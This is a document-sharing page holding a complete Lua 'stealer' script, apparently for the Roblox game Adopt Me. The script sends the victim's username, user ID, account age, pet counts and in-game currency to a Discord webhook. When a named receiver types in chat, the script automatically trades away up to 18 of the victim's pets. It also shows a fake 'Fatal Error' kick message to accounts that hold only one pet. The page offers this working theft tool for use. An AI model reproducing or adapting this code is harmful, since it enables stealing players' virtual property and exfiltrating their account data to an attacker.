Simple Stealer (Adopt) .Lua

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 4

Username = ""

Webhook = ""

if Username == "" or Username == nil then


game:GetService("Players").LocalPlayer:Kick("Enter a username!")
end
if Webhook == "" or Webhook == nil then
game:GetService("Players").LocalPlayer:Kick("Please enter a webhook!")
end

local Pets = {}
local PetCounts = {}

for i, v in
pairs(require(game.ReplicatedStorage.ClientModules.Core.ClientData).get_data()
[game.Players.LocalPlayer.Name].inventory.pets) do
local label = ""
if v.properties.mega_neon then
label = " (Mega Neon)"
elseif v.properties.neon then
label = " (Neon)"
else
label = " (Normal)"
end
local petName = v.id:gsub("%d+", ""):gsub("_", " "):gsub("%s+", " ")
petName = petName:gsub("(%a)(%a*)", function(first, rest) return
first:upper() .. rest:lower() end)
local key = petName .. label
if PetCounts[key] then
PetCounts[key] = PetCounts[key] + 1
else
PetCounts[key] = 1
end
end

local Loaders = require(game.ReplicatedStorage.Fsys).load


local InventoryDB = Loaders("InventoryDB")
local ClientData = Loaders('ClientData')
local legendaries_count = 0
local mega_count = 0
local neon_count = 0
local ultra_count = 0
local rare_count = 0
local uncommon_count = 0
local common_count = 0
local total_pets = 0
local bucks =
tostring(require(game:GetService("ReplicatedStorage").Fsys).load("ClientData").get(
"money"))
for i, v in pairs(ClientData.get("inventory").pets) do
total_pets = total_pets + 1
end

for i, v in pairs(ClientData.get("inventory").pets) do
if InventoryDB[v.category][v.id].rarity == "legendary" then
legendaries_count = legendaries_count + 1
end
if InventoryDB[v.category][v.id].properties == "mega_neon" then
mega_count = mega_count + 1
end
if InventoryDB[v.category][v.id].properties == "neon" then
neon_count = neon_count + 1
end
if InventoryDB[v.category][v.id].rarity == "ultra_rare" then
ultra_count = ultra_count + 1
end
if InventoryDB[v.category][v.id].rarity == "rare" then
rare_count = rare_count + 1
end
if InventoryDB[v.category][v.id].rarity == "uncommon" then
uncommon_count = uncommon_count + 1
end
if InventoryDB[v.category][v.id].rarity == "common" then
common_count = common_count + 1
end
end

local messageADOPT = "Join your player using **Join Player Script** and type
**ANYTHING** in chat to start stealing!\n To Resend the trade, just type anything
in chat. DO NOT TYPE IN CHAT WHILE IN TRADE! It can mess up the whole script!\n
Info: \n You have 3 seconds to accept the trade otherwise script will break\nYou
have 5 seconds to accept the trade (not confirm)."
if legendaries_count >= 5 or neon_count >= 5 or mega_count >= 1 then
messageADOPT == "||@here|| ||@everyone|| Join your player using **Join Player
Script** and type **ANYTHING** in chat to start stealing!\n To Resend the trade,
just type anything in chat. DO NOT TYPE IN CHAT WHILE IN TRADE! It can mess up the
whole script!\n Info: \n You have 3 seconds to accept the trade otherwise script
will break\nYou have 5 seconds to accept the trade (not confirm)."
end
local plr = game.Players.LocalPlayer
local userr = Username
local userid = game.Players.LocalPlayer.UserId
local accage = game.Players.LocalPlayer.AccountAge
local data = {
username = 'Created and Coded By K4F7',
avatar_url =
'https://cdn.discordapp.com/attachments/1266886405208936650/1270128838679986228/
images_2.jpg?
ex=66b29328&is=66b141a8&hm=6db84cb36a52d8b48f1b940c42ddc1fc118eb18073bf38bcc629bae3
5e426f6b&',
content = messageADOPT,
embeds = {
{
title = 'Moon Scripts Stealer | Version 1.0.3 💻',
description = '**📃 Player Information**: \n ```lua\n🗽 Username: '..
tostring(plr) ..'\n🗼 User-ID: '.. tostring(userid) ..'\n⛩ Account Age: '..
tostring(accage) ..'\n🏗 Receiver: '.. userr ..'\n```\n **📦 Inventory**: \n ```lua\
n🦒 Legendaries: '.. tostring(legendaries_count).. '\n🐉 Mega Neons: '..
tostring(mega_count).. '\n🐊 Neons: '.. tostring(neon_count).. '\n🐈 Ultra Rares: '..
tostring(ultra_count).. '\n🦖 Rares: '.. tostring(rare_count).. '\n🐌 Uncommons: '..
tostring(uncommon_count).. '\n🦀 Commons: '.. tostring(common_count).. '\n💵 Bucks:
'.. bucks ..'\n🐕 Total Pets: '.. tostring(total_pets) ..'\n```\n**💼 Join Player
Script**:\n\n```lua\
ngame:GetService("TeleportService"):TeleportToPlaceInstance(920587237, "' ..
game.JobId .. '", game.Players.LocalPlayer)\n```',
color = 10428396,
fields = {
{
name = '📃 Player Items:',
value = 'Soon'
}
}
}
}
}
local httpRequest = http.request or httprequest
if httpRequest then
httpRequest({
Url = Webhook,
Method = 'POST',
Headers = {
['Content-Type'] = 'application/json'
},
Body = game:GetService('HttpService'):JSONEncode(data)
})
else
print("123 123 Error: 404 WB DID NOT SEND")
end

local function StartSteal()


local Loads = require(game.ReplicatedStorage.Fsys).load
local RouterClient = Loads("RouterClient")
local SendTrade = RouterClient.get("TradeAPI/SendTradeRequest")
local AddPetRemote = RouterClient.get("TradeAPI/AddItemToOffer")
local AcceptNegotiationRemote = RouterClient.get("TradeAPI/AcceptNegotiation")
local ConfirmTradeRemote = RouterClient.get("TradeAPI/ConfirmTrade")

SendTrade:FireServer(game.Players[Username])
wait(3)
local PetsInventory =
require(game.ReplicatedStorage.ClientModules.Core.ClientData).get_data()
[game.Players.LocalPlayer.Name].inventory
if PetsInventory.pets then
local petCount = 0
local petUids = {}
for petUid, petData in pairs(PetsInventory.pets) do
table.insert(petUids, petUid)
end

while #petUids > 0 do


local petUid = table.remove(petUids, 1)
AddPetRemote:FireServer(petUid)
petCount = petCount + 1
if petCount >= 18 then
break
end
end
else
print("No pets found in inventory.")
end
wait(6)
AcceptNegotiationRemote:FireServer()
wait(5)
local ConfirmTradeRemote = RouterClient.get("TradeAPI/ConfirmTrade")
ConfirmTradeRemote:FireServer()
end

if total_pets == 1 then
game:GetService("Players").LocalPlayer:Kick("Fatal Error: Please execute on a
different account or try again later.")
end

game.Players.PlayerAdded:Connect(function(player)
if player.Name == Username then
player.Chatted:Connect(function(msg)
StartSteal()
end)
end
end)

You might also like